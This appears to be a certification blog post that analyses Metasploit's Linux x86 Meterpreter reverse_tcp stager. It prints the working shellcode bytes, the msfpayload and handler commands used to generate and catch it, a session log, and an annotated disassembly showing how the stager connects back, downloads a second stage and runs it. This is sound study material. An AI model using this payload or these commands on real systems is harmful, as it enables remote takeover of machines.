First we'll check the description of this shellcode:
# msfpayload linux/x86/meterpreter/reverse_tcp S
Name: Linux Meterpreter, Reverse TCP Stager
Module: payload/linux/x86/meterpreter/reverse_tcp
Version: 0
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 178
Rank: Normal
Provided by:
PKS
egypt <egypt@metasploit.com>
skape <mmiller@hick.org>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST yes The listen address
LPORT 4444 yes The listen port
PrependFork no Add a fork() / exit_group() (for parent) code
Description:
Connect back to the attacker, Staged meterpreter server
To test it, we'll insert the 1st stage payload into the skeleton tester file:
# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 C /* * linux/x86/meterpreter/reverse_tcp - 71 bytes (stage 1) * http://www.metasploit.com * VERBOSE=false, LHOST=192.168.56.101, LPORT=4444, * ReverseConnectRetries=5, ReverseAllowProxy=false, * EnableStageEncoding=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, AutoLoadStdapi=true, * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true, * EnableUnicodeEncoding=true, PrependFork=false, * DebugOptions=0 */ unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80" "\x97\x5b\x68\xc0\xa8\x38\x65\x68\x02\x00\x11\x5c\x89\xe1\x6a" "\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10" "\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b" "\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"; /* * linux/x86/meterpreter/reverse_tcp - 1126400 bytes (stage 2) * http://www.metasploit.com */ unsigned char buf[] = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x02\x00\x03\x00\x01\x00\x00\x00\x05\xfe\x04\x20\x34\x00" . . .We don't care about the 2nd stage because it will be transmitted to the client after connection. Then start a multi handler which will receive the connection and send the 2nd stage payload:
msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- DebugOptions 0 no Debugging options for POSIX meterpreter LHOST 192.168.56.101 yes The listen address LPORT 4444 yes The listen port msf exploit(handler) > exploit -j -zWe send the compiled stage 1:
$ ./shellcode Shellcode Length: 24 bytes (Shellcode contains null bytes)And we get in the handler:
msf exploit(handler) > [*] Transmitting intermediate stager for over-sized stage...(100 bytes) [*] Sending stage (1126400 bytes) to 192.168.56.1 [*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.1:33626) at 2013-07-21 21:21:08 +0100 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000So the shellcode is working as expected. We proceed to analyse the payload with the shellcode tester from libemu:
# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 R > shellcode.bin # ls -al shellcode.bin -rwxrwx--- 1 root vboxsf 71 Jul 21 21:25 shellcode.bin (71 bytes. It's stage 1) $ cat shellcode.bin | /opt/libemu/bin/sctest -vvv -S -s 1000 -G shellcode.dotAnd there's the first part of the shellcode that it was possible to be decoded by the emulator:
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 1698212032 (host=192.168.56.101);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
Here we see clearly the initial syscalls and their parameters. We can also view the same information graphically:
$ dot shellcode.dot -T png -o shellcode.pngFinally we'll manually analyse the shellcode to understand the complete functionality. To disassemble it:
$ echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x38\x65\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1" | ndisasm -b 32 -The first operation is, as we've seen previously, a socket call:
; man 2 socket ; int socket(int domain, int type, int protocol); ; Parameters can be viewed with strace commnad ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP) 00000000 31DB xor ebx,ebx ; Zero out ebx 00000002 F7E3 mul ebx ; Zero out eax 00000004 53 push ebx ; Protocol - IPPROTO_IP (0) 00000005 43 inc ebx ; int call - SYS_SOCKET (1) 00000006 53 push ebx ; Type - SOCK_STREAM (1) 00000007 6A02 push byte +0x2 ; Domain - AF_INET (2) 00000009 B066 mov al,0x66 ; sys_socketcall 0000000B 89E1 mov ecx,esp ; Parameters 0000000D CD80 int 0x80 ; Fire up the interruptNext is the connect call, which was also executed by the emulator:
; connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.56.101")}, 102)
0000000F 97 xchg eax,edi ; fd is returned, then stored into edi
00000010 5B pop ebx ; ebx is 2
00000011 68C0A83865 push dword 0x6538a8c0
00000016 680200115C push dword 0x5c110002
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66 ; sys_socketcall
0000001F 58 pop eax
00000020 50 push eax
00000021 51 push ecx
00000022 57 push edi ; push first param - the fd
00000023 89E1 mov ecx,esp
00000025 43 inc ebx ; int call - SYS_CONNECT (3)
00000026 CD80 int 0x80
Next operations were not executed by the emulator. Following is an mprotect call, which sets protection on a region of memory. The function has the following syntax:
int mprotect(const void *addr, size_t len, int prot);The parameters of the call can be easily viewed with the strace utility:
mprotect(0xbff7e000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0The defines have the following values:
PROT_READ 0x1
PROT_WRITE 0x2
PROT_EXEC 0x4
And if we verify with the assembly code:
00000028 B207 mov dl,0x7 ; PROT_READ|PROT_WRITE|PROT_EXEC 0000002A B900100000 mov ecx,0x1000 ; 4096 0000002F 89E3 mov ebx,esp 00000031 C1EB0C shr ebx,0xc 00000034 C1E30C shl ebx,0xc 00000037 B07D mov al,0x7d ; sys_mprotect 00000039 CD80 int 0x80The final part of the shellcode is, as expected, the read call, which will get the 2nd stage payload from the server, and then execute it:
; man 2 read ; read - read from a file descriptor ; ssize_t read(int fd, void *buf, size_t count); 0000003B 5B pop ebx ; fd to read from; pushed at 'push edi' line 0000003C 89E1 mov ecx,esp ; buffer 0000003E 99 cdq 0000003F B60C mov dh,0xc ; count - a lot of data to be read... 00000041 B003 mov al,0x3 ; sys_read 00000043 CD80 int 0x80 00000045 FFE1 jmp ecx ; the buffer thathas been read. execute it
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE- 449

